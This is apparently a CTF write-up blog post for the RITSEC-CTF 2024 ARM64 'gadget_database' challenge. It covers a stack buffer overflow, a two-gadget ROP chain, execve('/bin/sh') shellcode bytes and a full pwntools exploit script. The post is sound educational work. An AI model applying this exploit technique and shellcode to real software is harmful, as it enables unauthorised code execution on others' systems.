[PWN] [RITSIC-CTF 2024] gadget_database Challenge ARM64 Exploitation

 ( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )
(إن أحسنت فمن الله، وإن أسأت فمن نفسي والشيطان)

I decided to go back to a challenge from RITSEC-CTF 2024 called "gadget_database" After months, it was an ROP challenge in ARM64 binary, let's start.

Let's drop the binary into Ghidra to understand what it is doing, "main" function checks the return value from the "answer" function. If it is right we will trigger a branch that is vulnerable to buffer overflow because it takes "0x200" byte and the buf size "32" byte.


"answer" function checks a password value and it is fixed.


now it is an ARM64 binary and we running on Intel Processor so we have to setup the script for debugging using "gdb-mutliarch" and "qemu"


when we run the script with "GDB" argument it will run "qemu-aarch64-static -g 2020 ./gadget_database" to start a listener for gdb and in our "gdb-mutliarch" session we can run command "target remote :2020" to connect, create a breakpoint on the "ret" of "main" using 'b *main+152" when the GDB session start we will need it.


now let's check the security of the binary
Uploading: 140700 of 140700 bytes uploaded.



pwntools said that the stack is not executable (that's why I could not solve the challenge during the CTF), but if we check the memory map we will find a wired thing


the above address is the buffer and we control the data on it and what we can see? it is Executable 0_0. i don't know why this happens but i think it is because of the emulation (ARM on Intel) using qemu.

I searched for any "POP" instructions but nothing (i was stuck here because i did not know about the executable stack)




after months I did not forget the challenge and I took another check on it after learning form a friend that he did a simple "ret2shell", so i started again with a new POV and a new target.

I checked the registers when we hit the "ret" of "main" and we have a good values we can use in the registers


so i wanna a gadget that will jump to any of these controlled addresses and add my shellcode to it, and i could do it with the following two gadgets:

  • mov x0, x20 ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x40 ; ret
  • mov x16, x0 ; br x16 ;

the first gadget's result will store the address of "x20" which has a controlled address to "x0", and the second gadget will move the address from "x0" to "x16" and jump to it and whatever in "0x55008005e8" the binary will execute it.

Now we have to write our shellcode, what do we need? a simple call to "execve("/bin/sh", 0, 0);" we have to set "x8=0xDD" (0xDD is syscall number for execve check syscall.sh) and "x0 = ptr_to_binsh_str" we control a buffer so we have put "/bin/sh" to it and pass to "execve" call, the "SP" register contains an address to our buffer so I added the "/bin/sh" to it.

i used shell-storm assembler and passing the following ARM64 (AArch64) assembly 

mov x0, sp
mov x8, #0xdd
svc #0

and we got these bytes "\xe0\x03\x00\x91\xa8\x1b\x80\xd2\x01\x00\x00\xd4".


now we have to combine these together in a simple script and see the result

#!/usr/bin/env python3
from pwn import *

elf = exe = context.binary = ELF(args.EXE or './gadget_database')

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
# return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
return process( "qemu-aarch64-static -g 2020 ./gadget_database".split() )
else:
return process( "qemu-aarch64-static ./gadget_database".split() )
# return process([exe.path] + argv, *a, **kw)

gdbscript = '''
b *main+152
c
'''.format(**locals())

io = start()

io.sendline(b"RS{REALFLAG}")

# https://shell-storm.org/online/Online-Assembler-and-Disassembler
# mov x0, sp ; mov x8, #0xdd ; svc #0
shell = b"\xe0\x03\x00\x91\xa8\x1b\x80\xd2\x01\x00\x00\xd4"


payload = b"A" * 44
payload += p64( 0x0000000000418508 ) # mov x0, x20 ; ... ; ret
payload += b"A" * 8
payload += p64( 0x000000000044b6e4 ) # mov x16, x0 ; br x16 ;
binsh = b"/bin/sh\0"

payload += b"L" * ( 8*6 )
payload += binsh
payload += b"L" * ( 8*46 )

payload += shell

io.sendlineafter(b"query\n", payload )

io.interactive()

and we got it ;-).



Thank you for reading guys.


عَنْ أَبِيْ رُقَيَّةَ تَمِيْم بْنِ أَوْسٍ الدَّارِيِّ رضي الله عنه أَنَّ النبي  قَالَ:( الدِّيْنُ النَّصِيْحَةُ قُلْنَا: لِمَنْ يَا رَسُولَ اللهِ ؟ قَالَ: للهِ، ولكتابه، ولِرَسُوْلِهِ، وَلأَئِمَّةِ المُسْلِمِيْنَ، وَعَامَّتِهِمْ (رواه مسلم.



References to learn ARM:

Comments

Popular posts from this blog

Exploit & Debug Looney Tunables CVE-2023-4911 Local Privilege Escalation in the glibc's ld.so

[BlackHatMEA-CTF 2024] cockatoo PWN challenge

Lets Analysis STM32F103 Chip Firmware from Attify